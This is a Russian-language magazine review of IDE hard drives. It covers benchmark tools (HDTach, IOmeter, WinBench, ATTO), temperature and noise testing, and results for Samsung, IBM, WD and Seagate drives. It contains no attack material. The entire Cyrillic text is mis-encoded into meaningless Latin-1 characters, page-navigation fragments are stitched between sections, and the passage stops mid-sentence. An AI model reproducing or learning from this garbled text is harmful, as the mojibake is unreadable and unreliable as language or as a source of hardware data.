áîëüøîé ôàéë êîïèðóåòñÿ áûñòðåå, ÷åì<br />

ìíîãî ìàëåíüêèõ ôàéëîâ. Ïðè ýòîì ñóììàðíûé<br />

îáúåì ìàëåíüêèõ ôàéëîâ ðàâåí<br />

îáúåìó áîëüøîãî. Ëèíåéíàÿ ñêîðîñòü<br />

÷òåíèÿ òà æå, íî íà ïîèñê êàæäîãî íîâîãî<br />

ôàéëà áóäåò çàòðà÷èâàòüñÿ äîïîëíèòåëüíîå<br />

âðåìÿ, ïîòîìó ÷òî ìàëåíüêèå<br />

ôàéëû ðàçáðîñàíû ïî äèñêó, è íóæíî<br />

äâèãàòü ãîëîâêîé, ÷òîáû äî íèõ äîñòàòü.<br />

Èòàê, HDTach ïîçâîëÿåò ïðîâåðèòü ðåàëüíûå<br />

ñêîðîñòíûå õàðàêòåðèñòèêè<br />

âèí÷åñòåðà è ñðàâíèòü èõ ñ ðåçóëüòàòàìè<br />

äðóãèõ òåñòåðîâ.<br />

Îäíàêî ãðàôèê ÷òåíèÿ ýòîò òåñò ñòðîèò<br />

ñëèøêîì áûñòðî è íåäîñòàòî÷íî òî÷íî,<br />

ïîòîìó ìû íå èñïîëüçîâàëè åãî ãðàôèêè<br />

äëÿ íàøèõ âûâîäîâ. HDTach ïðîãîíÿëñÿ<br />

òðè ðàçà, è áðàëàñü ñðåäíÿÿ âåëè÷èíà.<br />

Òàêèì îáðàçîì, ìû ïîñòàðàëèñü<br />

èñêëþ÷èòü âîçìîæíûå ãëþêè ðàáîòû<br />

ýòîé óòèëèòû.<br />

Ìîæåøü êà÷íóòü ýòó ïðîãðàììó íà ñàéòå<br />

http://www.tcdlabs.com/hdtach.htm.<br />

INTEL IOMETER<br />

Ïîëíîñòüþ ñèíòåòè÷åñêèé òåñò, êîòîðûé<br />

ïîçâîëÿåò ìîäåëèðîâàòü íàãðóçêè ðàçëè÷íîé<br />

ñòåïåíè òÿæåñòè. Íàãðóçêè ìîäåëèðóþòñÿ<br />

ñ ïîìîùüþ ñïåöèàëüíîãî<br />

øàáëîíà (pattern). Â øàáëîíå ìîæíî çàäàòü<br />

ïðîöåíòíîå ñîîòíîøåíèå ðàçëè÷íûõ<br />

çàïðîñîâ, âåëè÷èíó áëîêîâ äàííûõ<br />

(Transfer Request Size), ñîîòíîøåíèå êîìàíä<br />

÷òåíèÿ è çàïèñè (Percent<br />

Read/Write Distribution), ñîîòíîøåíèå<br />

ñëó÷àéíûõ è ïîñëåäîâàòåëüíûõ çàïðîñîâ<br />

(Percent Random/Sequential<br />

Distribution). Pattern îïðåäåëÿåò êà÷åñòâî<br />

çàïðîñîâ, êîëè÷åñòâî îòäåëüíûõ çàïðîñîâ<br />

îïðåäåëÿåòñÿ ïàðàìåòðîì<br />

Outstanding I/Os. Çíà÷åíèå ýòîãî ïàðàìåòðà<br />

1 – ñîîòâåòñòâóåò ëèíåéíîìó<br />

äîñòóïó ê äèñêó, 4 – íàãðóçêå íåáîëüøîãî<br />

ïðèëîæåíèÿ Windows, 16 – ñðåäíåãî<br />

ïðèëîæåíèÿ, 64 – òîëñòûå ïðîãè òèïà<br />

Photoshop, 64-256 – ñîîòâåòñòâóåò ñåðâåðíîé<br />

íàãðóçêå. IOmeter òàê óñòðîåí,<br />

÷òî ãîíÿåò ãîëîâêè ïî âñåé ïîâåðõíîñòè<br />

äèñêîâ, ýòî î÷åíü ïîõîæå íà ðåæèì ðàáîòû<br />

ñåðâåðíîãî íàêîïèòåëÿ. Ïðè ýòîì<br />

îí ñèëüíî ãðååòñÿ. Ýòî çíà÷èò, ÷òî ñåðâåðíûé<br />

âèí÷åñòåð îáÿçàòåëüíî ïðèäåòñÿ<br />

îõëàæäàòü äîïîëíèòåëüíûìè âåíòèëÿòîðàìè.<br />

Èç-çà òàêîé ðàáîòû ñ ãîëîâêàìè<br />

IOmeter íàèáîëåå ýôôåêòèâåí ïðè<br />

ýìóëÿöèè ñåðâåðíûõ íàãðóçîê, è íå<br />

î÷åíü àäåêâàòåí ïðè ýìóëÿöèè îáû÷íûõ.<br />

Ìû èñïîëüçîâàëè ïàòòåðíû äëÿ ôàéëîâîãî<br />

ñåðâåðà è äëÿ WEB-ñåðâåðà, êàæäûé<br />

ïàòòåðí ïðîãîíÿëñÿ ñ ðàçëè÷íûìè<br />

íàãðóçêàìè. Ýòîò òåñò ïîçâîëèë âûÿâèòü,<br />

êàê ñåáÿ âåäóò âèí÷åñòåðû íà ðàçíûõ<br />

ñåðâåðíûõ íàãðóçêàõ.<br />

 ðåçóëüòàòå ìû ïîëó÷àëè äëÿ êàæäîãî<br />

òèïà ïàòòåðíà è íàãðóçêè Total I/Os Per<br />

Second. Òî åñòü îáùåå êîëè÷åñòâî îïåðàöèé<br />

ââîäà/âûâîäà â ñåêóíäó, íà êîòîðîå<br />

ñïîñîáåí õàðä ïðè äàííîé íàãðóçêå.<br />

Ýòà âåëè÷èíà çàâèñèò è îò ñêîðîñòè ÷òåíèÿ,<br />

è îò âðåìåíè ñëó÷àéíîãî äîñòóïà, è<br />

îò àëãîðèòìà ðàáîòû ñ äàííûìè íà áëèíå.<br />

Òû ìîæåøü íàñòðîèòü Intel IOmeter<br />

ïîä ñâîå ñîáñòâåííîå òåñòèðîâàíèå,<br />

ðàçðàáîòàòü ñîáñòâåííûé ïàòòåðí.<br />

Òåñò ìîæíî äîñòàòü íà ñàéòå<br />

http://sourceforge.net/projects/iometer/.<br />

Î ïðàêòè÷åñêèõ àñïåêòàõ ïðèìåíåíèè<br />

Intel IOmeter ìîæíî íàðûòü èíôû íà<br />

ñàéòå http://storagereview.com/articles/200003/20000313OSandBM_4.html.<br />

ZIFF-DAVIS<br />

WINBENCH 99 VER 1.1<br />

Êëàññè÷åñêèé íàáîð òåñòîâ. ×òî ãîâîðèòü,<br />

ýòîò èíñòðóìåíò íå ìîëîä, îäíàêî<br />

åãî èñïîëüçîâàíèå ïîçâîëÿåò ñðàâíèòü<br />

ïðîèçâîäèòåëüíîñòü âèíòîâ íåñêîëüêèõ<br />

ïîêîëåíèé. Â íåì èìååòñÿ áîëüøîé íàáîð<br />

ñðåäñòâ, êîòîðûå ðàáîòàþò ñòàáèëüíî<br />

è àäåêâàòíî, è äàþò ïîâòîðÿþùèéñÿ<br />

ðåçóëüòàò.<br />

ÊÎÍÔÈÃÓÐÀÖÈß ÒÅÑÒÎÂÎÃÎ ÑÒÅÍÄÀ<br />

Ñèñòåìíàÿ ïëàòà: ECS K7S5A (SIS 735);<br />

Ïðîö: Athlon XP 1600+ (Palamino);<br />

Ïàìÿòü: 256 SDRAM (HYNDAI);<br />

Âèäåîêàðòà: 3DFX Velocity 100 8Mb;<br />

Ñèñòåìíûé äèñê: IBM IC35L040AVVA07-0;<br />

Îïåðàöèîííàÿ ñèñòåìà: WinXP Home Edition SP1.<br />

AT-áëîê ïèòàíèÿ äëÿ òåñòèðîâàíèÿ àêóñòè÷åñêèõ õàðàêòåðèñòèê.<br />

 íàáîð âõîäÿò ôèçè÷åñêèå òåñòû, êîòîðûå<br />

ïîäîáíî HDTach îïðåäåëÿþò<br />

ñêîðîñòè ÷òåíèÿ/çàïèñè (ìèíèìàëüíóþ,<br />

ìàêñèìàëüíóþ, ñðåäíþþ), îïðåäåëÿþò<br />

ñðåäíåå âðåìÿ äîñòóïà.<br />

WinBench õîðîøî ñòðîèò DTR (Data<br />

Transfer Rate) – ãðàôèê ñêîðîñòè ïåðåäà÷è<br />

äàííûõ â çàâèñèìîñòè îò ïîëîæåíèÿ<br />

ãîëîâêè íà áëèíå. Íà ïîñòðîåíèå<br />

òàêîãî ãðàôèêà óõîäèò öåëûõ ïîë÷àñà.<br />

Ïî ãðàôèêó ìîæíî ñóäèòü íå òîëüêî î<br />

ñêîðîñòè ÷òåíèÿ, íî è î êà÷åñòâå ïîâåðõíîñòè<br />

áëèíîâ. Âåäü èñïîð÷åííûé<br />

ó÷àñòîê ëèáî ïåðå÷èòûâàåòñÿ íåñêîëüêî<br />

ðàç, ëèáî ïåðåíîñèòñÿ â äðóãóþ îáëàñòü.<br />

È òî è äðóãîå âûçûâàåò ïàäåíèå<br />

ñêîðîñòè íà ãðàôèêå DTR.<br />

Òàêæå WinBench èìååò íàáîð ñèíòåòè-<br />

÷åñêèõ òåñòîâ, â êîòîðûõ ýìóëèðóåòñÿ<br />

íàãðóçêà íà äèñê ðàçëè÷íûõ ïðèëîæåíèé.<br />

 ïàêåòå Business Disk WinMark<br />

ýìóëèðóåòñÿ íàãðóçêà îôèñíûõ ïðèëîæåíèé,<br />

à â ïàêåòå Hi-End ýìóëèðóþòñÿ<br />

Adobe Photoshop, Adobe Premiere,<br />

Sonic Foundry Sound Forge, Microsoft<br />

Visual C++ è òàê äàëåå. Ïðè ñîçäàíèè<br />

òàêèõ ýìóëÿòîðîâ ðàçðàáîò÷èêàìè çàïèñûâàëèñü<br />

ìàíèïóëÿöèè ñ äèñêîì ðåàëüíûõ<br />

ïðèëîæåíèé.<br />

Òàêèì îáðàçîì ìîæíî îöåíèòü âêëàä ñêîðîñòíûõ<br />

õàðàêòåðèñòèê âèí÷åñòåðà â ïðîèçâîäèòåëüíîñòü<br />

ðåàëüíûõ ïðîãðàìì.<br />

ATTO DISK BENCHMARK<br />

Äîïîëíèòåëüíî ìû èñïîëüçîâàëè òåñò,<br />

ïîçâîëÿþùèé îöåíèòü ñêîðîñòü ðàáîòû<br />

æåñòêîãî äèñêà ñ ÷òåíèåì è çàïèñüþ<br />

áëîêîâ ðàçëè÷íîãî ðàçìåðà.<br />

Æåñòêèé äèñê òàê óñòðîåí, ÷òî íåáîëüøèå<br />

áëîêè äàííûõ ñ÷èòûâàåò è çàïèñûâàåò<br />

ìåäëåííåå. Îò÷àñòè ñ ýòèì<br />

ñâÿçàíû ðàçëè÷èÿ â ðàáîòå äâóõ ôàéëîâûõ<br />

ñèñòåì: FAT32 è NTFS. Ðàáîòà ñ<br />

ðàçëè÷íûìè ïî ðàçìåðó áëîêàìè êîñâåííî<br />

óêàçûâàåò íà îñîáåííîñòè àëãîðèòìîâ<br />

âèí÷åñòåðà.<br />

ÒÅÌÏÅÐÀÒÓÐÀ<br />

Äàííûå ïî òåìïåðàòóðå âçÿòû èç SMART<br />

ñ ïîìîùüþ SpeedFan ïîñëå òåñòèðîâàíèÿ<br />

â IOmeter. Ó ñîâðåìåííûõ âèí÷åñòåðîâ<br />

åñòü âñòðîåííûå äàò÷èêè òåìïåðàòóðû.<br />

Òåñòèðîâàíèå äëèëîñü 28 ìèíóò.<br />

Ñ ïîìîùüþ îòäåëüíî ïðîâåäåííûõ èññëåäîâàíèé<br />

ìû âûÿñíèëè, ÷òî äëÿ ðàçîãðåâà<br />

äèñêà è ñòàáèëèçàöèè òåìïåðàòóðû<br />

äîñòàòî÷íî 20 ìèíóò. Âñå äåëî â<br />

òîì, ÷òî IOmeter äàåò íåñëàáóþ íàãðóçêó<br />

íà âèí÷åñòåð.<br />

 òåñíîì çàêðûòîì êîðïóñå (midi ATX c<br />

âåðòèêàëüíûì ÁÏ) òåìïåðàòóðà ïåðâîãî<br />

æå òåñòèðóåìîãî äèñêà (WD) óæå ÷åðåç<br />

20 ìèíóò ïîñëå çàïóñêà IOmeter<br />

äîñòèãëà 55 ãðàäóñîâ. Òàê êàê 55 ãðàäóñîâ<br />

- ïðåäåëüíàÿ ïàñïîðòíàÿ òåìïåðàòóðà,<br />

òåñòèðîâàíèå ïðèøëîñü ïðèîñòàíîâèòü.<br />

 äàëüíåéøåì âñå äèñêè òåñòèðîâàëèñü<br />

íà îòêðûòîì ïðîñòðàíñòâå.<br />

Òî åñòü ëåæàëè ìèêðîñõåìàìè âíèç íà<br />

ñòîëå. Äëÿ ëó÷øåãî îõëàæäåíèÿ íà<br />

äèñê ñâåðõó óêëàäûâàëñÿ 60-ìì âåíòèëÿòîð.<br />

Òàê êàê â òå÷åíèå äíÿ íåâîçìîæíî<br />

ãàðàíòèðîâàòü íåèçìåííîñòü êîìíàòíîé<br />

òåìïåðàòóðû, çàìåðû íå ñòðàäàþò<br />

èçáûòî÷íîé òî÷íîñòüþ, îäíàêî<br />

îíè äàþò ïðåäñòàâëåíèå î òîì, êàê<br />

ãðåþòñÿ ñîâðåìåííûå äèñêè ïðè ìîùíîé<br />

íàãðóçêå.<br />

Êñòàòè, â òåõíè÷åñêèõ õàðàêòåðèñòèêàõ<br />

äîïóñòèìûé ìàêñèìàëüíûé ãðàäèåíò<br />

òåìïåðàòóðû - íàãðåâ íà 20 ãðàäóñîâ â<br />

÷àñ. Îäíàêî, êàê ïîêàçûâàåò ïðàêòèêà,<br />

ìíîãèå óñòðîéñòâà ïðîõîäÿò 20 ãðàäóñîâ<br />

çà íåñêîëüêî äåñÿòêîâ ìèíóò ïðè<br />

ñåðüåçíîé íàãðóçêå. Ýòî åùå îäèí ïðèìåð<br />

òîãî, êàê òåìïåðàòóðíûé ðåæèì<br />

âëèÿåò íà íàäåæíîñòü óñòðîéñòâà.<br />

ØÓÌ<br />

Óðîâåíü øóìà âàæåí íå òîëüêî äëÿ ëþáèòåëåé<br />

òèøèíû, ýòîò ïàðàìåòð êîñâåííî<br />

ãîâîðèò î êà÷åñòâå ìåõàíè÷åñêîé<br />

ñèñòåìû, à çíà÷èò è î íàäåæíîñòè!<br />

Øóì â ðåæèìå õîëîñòîãî õîäà îöåíèâàëñÿ<br />

íî÷üþ â òèõîì ïîìåùåíèè. Äðàéâ<br />

ïîäêëþ÷àëñÿ ê áåçâåíòèëÿòîðíîìó áëîêó<br />

ïèòàíèÿ áåç êîìïüþòåðà. Òî åñòü<br />

ñëûøíî áûëî òîëüêî ðàáîòó ìåõàíèêè<br />

HDD. Âûäåëèëèñü óñòðîéñòâà, êîòîðûå<br />

ðàáîòàëè ñ îäèíàêîâîé ãðîìêîñòüþ è íà<br />

êóñêå ïîðîëîíà, è íà ðàáî÷åì ñòîëå.<br />

Îäíàêî áûëè âèíòû, êîòîðûå ðàáîòàëè<br />

òèõî, íî íà òâåðäîé ïîâåðõíîñòè íà÷èíàëè<br />

ðåçîíèðîâàòü.<br />

Òå æå äâà òåñòà (íà ìÿãêîé è æåñòêîé<br />

ïîâåðõíîñòè) ïðîâîäèëèñü ñ ïîìîùüþ<br />

êîìïüþòåðà ïðè îáðàùåíèè ê<br />

âèí÷åñòåðó, òàê, ÷òîáû áûë ñëûøåí<br />

øóì ãîëîâîê. Åñëè âèí÷åñòåð ïîçâîëÿë<br />

âêëþ÷èòü òèõèé ðåæèì ðàáîòû ãîëîâîê,<br />

òî ïðîâîäèëèñü äîïîëíèòåëüíûå<br />

äâà òåñòà.<br />

5 Þíèêñîèä 6 X-Style 7 Êîäèíã 8 Þíèòû 9 Quit> 13


Ferrum<br />

ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />

test_lab (test_lab@gameland.ru)<br />

ÒÅÑÒÎÂÛÅ<br />

ÐÅÇÓËÜÒÀÒÛ<br />

SAMSUNG SPINPOINT<br />

P40 SP8004H<br />

Ðåàëüíàÿ åìêîñòü: 74,56 (ÃÁ);<br />

Êîëè÷åñòâî äèñêîâ: 2;<br />

Êîëè÷åñòâî ãîëîâîê: 4;<br />

Èíòåðôåéñ: Ultra ATA/100;<br />

Çàÿâëåííîå âðåìÿ çàäåðæåê:<br />

Ïî äîðîæêàì 0,8 ìñ;<br />

Ñðåäíåå 8,9 ìñ;<br />

Ïîëíîå 16,9 ìñ;<br />

Ñðåäíåå âðåìÿ îæèäàíèÿ:<br />

4,17 ìñ;<br />

Îáúåì áóôåðíîé<br />

êýø-ïàìÿòè: 2048 Êá;<br />

Óäàð (Ðàáî÷èé ðåæèì) 63 G;<br />

Óäàð (Ðåæèì õðàíåíèÿ) 350 G;<br />

Ïîòðåáëåíèå<br />

(÷òåíèå/çàïèñü) 6 W;<br />

Ïîòðåáëåíèå (äîñòóï<br />

(1/3 äîñòóï, 30% íàãðóçêè)) 7 W;<br />

Ïîòðåáëåíèå<br />

(õîëîñòîé õîä) 5,8 W;<br />

Øóì (Íåò çàíÿòîñòè):<br />

3,15 áåëë;<br />

Øóì (×òåíèå/çàïèñü): 3,3 áåëë.<br />

HDTach ïîêàçàë íåâûñîêóþ ñêîðîñòü,<br />

íà óðîâíå âèí÷åñòåðîâ ïðåäûäóùåãî<br />

ïîêîëåíèÿ. Îäíàêî ïî<br />

äàííûì IOmeter âûÿñíèëîñü, ÷òî äëÿ<br />

ñåðâåðíîãî ïðèìåíåíèÿ SAMSUNG<br />

SpinPoint P40 SP8004H - ñàìûé êëåâûé<br />

ïîñëå IBM Deskstar 180GXP<br />

IC35L090AVV207. Ýòî íå óäèâèòåëüíî,<br />

ïîñêîëüêó, íåñìîòðÿ íà íèçêèå<br />

ëèíåéíûå ñêîðîñòè, SAMSUNG<br />

SpinPoint P40 SP8004H îáëàäàåò íàèìåíüøåé<br />

çàäåðæêîé ïî âðåìåíè<br />

ñëó÷àéíîãî äîñòóïà ê äàííûì, òàêæå<br />

ïîñëå BM Deskstar 180GXP<br />

IC35L090AVV207. Íåáîëüøîå âðåìÿ<br />

äîñòóïà ãîâîðèò î õîðîøåé è êà÷åñòâåííîé<br />

ìåõàíèêå âèí÷åñòåðà.<br />

WinBench ïîêàçàë ãðàôèê DTR (Data<br />

Transfer Rate), ïî íåìó ìîæíî ñóäèòü<br />

îá îòëè÷íîì êà÷åñòâå ïîâåðõíîñòè<br />

ïëàñòèí - ãðàôèê èäåàëüíûé áåç çóá-<br />

÷èêîâ.<br />

Ïåðâûå 40 ãèãàáàéò íà ãðàôèêå - ïðèìåðíî<br />

îäèíàêîâàÿ ñêîðîñòü, çàòî ïîñëåäíèå<br />

40 ãèãîâ ñêîðîñòü áûñòðî ïàäàåò.<br />

Ïîëó÷àåòñÿ, ÷òî åñëè òâîè äàííûå<br />

âàëÿþòñÿ â ïåðâîé ïîëîâèíå äèñêà,<br />

òî ìàêñèìàëüíàÿ ñêîðîñòü ðàâíà<br />

ñðåäíåé, èíà÷å ñêîðîñòü áóäåò ïàäàòü.<br />

Business ïîêàçàë íèçêèå ñêîðîñòè, õîòÿ<br />

íàì òóò ìíîãî è íå íóæíî. Hi-End<br />

òîæå íåâûñîê. ×òîáû ïî÷óâñòâîâàòü<br />

ýòó ðàçíèöó â ðåàëüíîé ðàáîòå, íóæíî,<br />

÷òîáû ðàçëè÷èÿ áûëè â äâà ðàçà.<br />

SAMSUNG SpinPoint P40 SP8004H<br />

ïðàêòè÷åñêè íå îòñòàåò, ïîýòîìó òîðìîçà<br />

çàìåòíû íå áóäóò.<br />

ATTO íàðàñòàåò ìåäëåííî, ãëàäêèé<br />

ãðàôèê ïîçâîëÿåò äîãàäàòüñÿ, ÷òî àëãîðèòìû<br />

îòëè÷íî ïðîäóìàííû.<br />

Ïîòðåáëÿåìàÿ ìîùíîñòü íèæå ñðåäíåé!<br />

Âèäèìî, áëàãîäàðÿ ýòîìó SAM-<br />

SUNG SpinPoint P40 SP8004H çíà÷èòåëüíî<br />

ìåíüøå ãðååòñÿ - íà öåëûõ 10<br />

ãðàäóñîâ. 39 ãðàäóñîâ ïðîòèâ 46-48 ó<br />

îñòàëüíûõ âèíòîâ. Î íàäåæíîñòè âèí-<br />

÷åñòåðîâ SUMSUNG êîñâåííî ãîâîðèò<br />

òðåõëåòíÿÿ ãàðàíòèÿ. Ìåæäó ïðî÷èì,<br />

ýòî åäèíñòâåííûé ïðîèçâîäèòåëü, äàþùèé<br />

ãàðàíòèþ òàêîãî ðîäà!<br />

Øóì âûøå ñðåäíåãî. Íà õîëîñòîì õîäó<br />

äèñê íå ðåçîíèðóåò, íî øóìèò äîâîëüíî<br />

ñèëüíî, ïðàâäà, óðîâåíü ðåçîíàíñà<br />

ïîâûøàåòñÿ âî âðåìÿ ðàáîòû ãîëîâîê,<br />

ïîòîìó, â èäåàëå, ðåêîìåíäóåì çàêðåïëÿòü<br />

åãî ïðè ïîìîùè ðåçèíîâûõ<br />

øàéá èëè êëàñòü íà ÷òî-òî ìÿãêîå.<br />

Èòàê, ìû èìååì îäèí èç ñàìûõ áûñòðûõ<br />

è íàäåæíûõ âèí÷åñòåðîâ äëÿ ñåðâåðíîãî<br />

ïðèìåíåíèÿ.<br />

IBM DESKSTAR 180GXP<br />

IC35L090AVV207-0<br />

Ðåàëüíàÿ åìêîñòü: 76.69 (Ãá);<br />

Êîëè÷åñòâî äèñêîâ 2;<br />

Êîëè÷åñòâî ãîëîâîê 3;<br />

Èíòåðôåéñ Ultra ATA/100;<br />

Average (ms) 8.8;<br />

Track to track (ms) 1.1;<br />

Full track (ms) 15.4;<br />

Ñðåäíåå âðåìÿ îæèäàíèÿ<br />

4,17 ìñ;<br />

Îáúåì áóôåðíîé êýø-ïàìÿòè<br />

2048 Êá;<br />

Óäàð (ðàáî÷èé ðåæèì) 55 G;<br />

Óäàð (Ðåæèì õðàíåíèÿ) 350 G;<br />

Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />

5.9 W;<br />

Øóì (Íåò çàíÿòîñòè 2.8) áåëë;<br />

HDTach ïîêàçàë îäèí èç ñàìûõ âûñîêèõ<br />

ðåçóëüòàòîâ ïî ëèíåéíîé ñêîðîñòè<br />

è ñàìîå ìàëåíüêîå âðåìÿ ñëó-<br />

÷àéíîãî äîñòóïà.<br />

IOmetr äàë IBM Deskstar 180GXP<br />

IC35L090AVV207 çàñëóæåííîå ïåðâîå<br />

ìåñòî. Áëàãîäàðÿ ñàìîìó ìàëåíüêîìó<br />

âðåìåíè äîñòóïà è ñàìîìó ñåðâåðíîìó<br />

àëãîðèòìó. Õîäÿò ñëóõè, ÷òî<br />

IBM äåëàåò SCSI-âèíòû äëÿ ñåðâåðîâ<br />

è IDE íà îäíîé áàçå. Íàøè òåñòû ýòè<br />

ñëóõè ïîäòâåðæäàþò.<br />

Winbench ïðîèãðûâàåò WD Caviar<br />

WD800JB. Ýòî, âîçìîæíî, ñâÿçàíî<br />

ñ îáúåìîì áóôåðà.<br />

DTR òàêæå ñ íåáîëüøèìè çóá÷èêàìè.<br />

Âîçìîæíî, äëÿ íîâûõ ïëàñòèí íåäîñòàòî÷íî<br />

îòðàáîòàíà òåõíîëîãèÿ.<br />

ATTO – ñàìûé êëåâûé ãðàôèê - ðåçêî<br />

ðàñòåò è íå ìåíÿåòñÿ, ñíîâà íàïîìèíàåò<br />

íàì î ñåðâåðíûõ àëãîðèòìàõ.<br />

Ñðåäíèé ïî ãðîìêîñòè íà õîëîñòîì<br />

õîäó, ñàìûé òèõèé ïðè ðàáîòå ñ ãîëîâêàì.<br />

 òèõîì ðåæèìå âòîðîé. Åñëè<br />

ïîëîæèòü íà ïîðîëîí è âêëþ÷èòü<br />

òèõèé ðåæèì, òî ãîëîâêè íå ñëûøíî<br />

ñîâñåì. Íå ðåçîíèðóåò â òèõîì ðåæèìå.<br />

 õîëîñòîì ðåæèìå ñèëüíî ðåçîíèðóåò<br />

è íåïðèÿòíî ãóäèò. Âîîáùå<br />

äëÿ ïîñëåäíèõ âèí÷åñòåðîâ IBM òàêîå<br />

íå õàðàêòåðíî, ïîýòîìó ìû ðåøèëè,<br />

÷òî ê íàì ïîïàëà íå î÷åíü óäà÷íàÿ<br />

ìîäåëü!<br />

 ðåçóëüòàòå ìû èìååì ñàìûé ñêîðîñòíîé<br />

âèíò äëÿ ñåðâåðíîãî ïðèìåíåíèÿ,<br />

îäèí èç ñàìûõ ñêîðîñòíûõ âîîáùå<br />

è îäèí èç ñàìûõ òèõèõ. Ñëîâîì,<br />

äðàéâ ÿâíî íàïðàøèâàåòñÿ íà ìåäàëü,<br />

îäíàêî íàñ âñå æå ñìóùàþò<br />

çóá÷èêè íà DTR. Êñòàòè, ïîêóïàÿ IBM<br />

Deskstar 180GXP IC35L090AVV207, ìû<br />

ïîëó÷àåì áîíóñ â äâà ãèãàáàéòà!<br />

1 2<br />

14 Íüþñû Ôåððóì<br />

Inside 3 PC_Zone 4 Âçëîì


Ferrum<br />

ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />

test_lab (test_lab@gameland.ru)<br />

WD CAVIAR<br />

WD800JB-00ETA0<br />

Ðåàëüíàÿ åìêîñòü: 74.53 (ÃÁ);<br />

Êîëè÷åñòâî äèñêîâ 2;<br />

Êîëè÷åñòâî ãîëîâîê 4;<br />

Èíòåðôåéñ Ultra ATA/100;<br />

Read Seek Time (Average)<br />

8.9 ms;<br />

Write Seek Time (Average)<br />

10.9 ms (average);<br />

Track-To-Track Seek Time<br />

2.0 ms (average);<br />

Full Stroke Seek<br />

21.0 ms (average);<br />

Ñðåäíåå âðåìÿ îæèäàíèÿ<br />

4,2 ìñ;<br />

Îáúåì áóôåðíîé êýø-ïàìÿòè<br />

2048 Êá;<br />

Óäàð (ðàáî÷èé ðåæèì)<br />

20G, 2ms;<br />

Óäàð (ðåæèì õðàíåíèÿ)<br />

250G, 2ms;<br />

Ïîòðåáëåíèå<br />

(õîëîñòîé õîä) 7,25 W;<br />

Øóì (íåò çàíÿòîñòè): 35 dBA;<br />

Øóì (ïîèñê) 39 dBA (average);<br />

Ïî äàííûì HDTach ñàìàÿ âûñîêàÿ<br />

ëèíåéíàÿ ñêîðîñòü. Âðåìÿ äîñòóïà<br />

âûøå ñðåäíåãî.<br />

Ïî äàííûì IOmeter íà òðåòüåì ìåñòå<br />

ïîñëå SAMSUNG SpinPoint P40<br />

SP8004H è IBM Deskstar 180GXP<br />

IC35L090AVV207, íà áîëüøèõ íàãðóçêàõ<br />

îáõîäèò ñàìñóíã.<br />

Winbench: DTR – çàìåòíû çóá÷èêè.<br />

Ñïàäàåò ñðåäíå. Âñåõ îáõîäèò íà òåñòàõ<br />

Winbench, äàæå IBM Deskstar<br />

180GXP IC35L090AVV207.<br />

ATTO íàðàñòàåò ìåäëåííî, íî íåóêëîííî.<br />

Óâåëè÷åííûé áóôåð (8 ìåòðîâ) - ïîòåíöèàëüíàÿ<br />

ïðåäïîñûëêà ê áîëüøåé<br />

ïðîèçâîäèòåëüíîñòè.<br />

Íà õîëîñòîì õîäó âìåñòå ñ SAMSUNG<br />

SpinPoint P40 SP8004H øóìèò ãðîì÷å<br />

âñåõ. Õîòÿ äàæå òàêîé óðîâåíü øóìà<br />

âïîëíå ïðèåìëåì – ðàáîòàòü ìîæíî.<br />

×àñòîòà çâóêà ÷óòü íèæå SAMSUNG<br />

SpinPoint P40 SP8004H. Çâóê ðàáîòû<br />

ãîëîâîê ðàçäðàæàåò áîëüøå, ðåçîíèðóåò<br />

ïðè ðàáîòå ãîëîâîê. Åñëè ïîëîæèòü<br />

íà ìÿãêîå, ðåçêèé çâóê îñòàåòñÿ.<br />

Âèíò èìååò ñàìîå âûñîêîå ïîòðåáëåíèå<br />

è ãðååòñÿ áîëüøå âñåõ.<br />

 ðåçóëüòàòå ìû èìååì âèíò ñ ñàìûìè<br />

âûñîêèìè ëèíåéíûìè ñêîðîñòÿìè<br />

è óâåëè÷åííûì áóôåðîì. Ýòî äàåò<br />

åìó ïîáåäó â Business è Hi-End ïðèëîæåíèÿõ<br />

(âñåãî íà íåñêîëüêî åäèíèö).<br />

Îäíàêî â ñåðâåðíîì èñïîëüçîâàíèè<br />

òîëüêî òðåòüå ìåñòî, äà è ãðååòñÿ<br />

îí î÷åíü ñèëüíî.<br />

SEAGATE BARRACUDA<br />

7200.7 ST380011A<br />

Ðåàëüíàÿ åìêîñòü: 74.53 (ÃÁ);<br />

Êîëè÷åñòâî äèñêîâ 1;<br />

Êîëè÷åñòâî ãîëîâîê 2;<br />

Èíòåðôåéñ Ultra ATA/100;<br />

Average Seek (msec) 8.5;<br />

Ñðåäíåå âðåìÿ îæèäàíèÿ<br />

4,16 ìñ;<br />

Îáúåì áóôåðíîé êýø- ïàìÿòè<br />

2048 Êá;<br />

Óäàð (ðàáî÷èé ðåæèì) 63 G;<br />

Óäàð (ðåæèì õðàíåíèÿ) 350 G;<br />

Ïîòðåáëåíèå (×òåíèå/çàïèñü)<br />

12 W;<br />

Ïîòðåáëåíèå (Äîñòóï) 12.5 W;<br />

Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />

7 W;<br />

Øóì (íåò çàíÿòîñòè) 2,5 áåëë;<br />

Øóì (×òåíèå/çàïèñü)<br />

3,1 áåëë;<br />

HDTach ïîêàçàë ìåäëåííîå âðåìÿ<br />

äîñòóïà, êàê ó WD Caviar WD800JB.<br />

Ïîêàçûâàåò ëèíåéíûå ñêîðîñòè,<br />

áëèçêèå ê ëèäåðàì îáçîðà. Îäíàêî<br />

ñëèøêîì áîëüøîé ðàçáðîñ ìåæäó<br />

ìèíèìóìîì è ìàêñèìóìîì.<br />

Ïðåäïîñëåäíåå ìåñòî â ñåðâåðíîì<br />

ðåéòèíãå IOmeter.<br />

Winbench. DTR áûñòðî ïàäàåò, îäíàêî<br />

ãðàôèê áëèçîê ê èäåàëüíîìó.<br />

Business - ñðåäíèé, Hi-End ïðåäïîñëåäíèé.<br />

ATTO ïðåäïîñëåäíèé.<br />

Íà õîëîñòîì õîäó øóìà íå ñëûøíî,<br />

íî ðåçîíàíñ åñòü. Îòñóòñòâóåò óïðàâëåíèå<br />

àêóñòèêîé, íî âèíò ñàì ïî ñåáå<br />

äîâîëüíî òèõèé. Ãîëîâêè ðåçîíèðóþò,<br />

çâóê íå ãðîìêèé, íî çâîíêèé.<br />

Èòàê, ýòî åäèíñòâåííûé îäíîáëèíîâûé<br />

âèí÷åñòåð â íàøåì îáçîðå.<br />

Ïëîòíîñòü çàïèñè - 80 ãèãàáàéò íà<br />

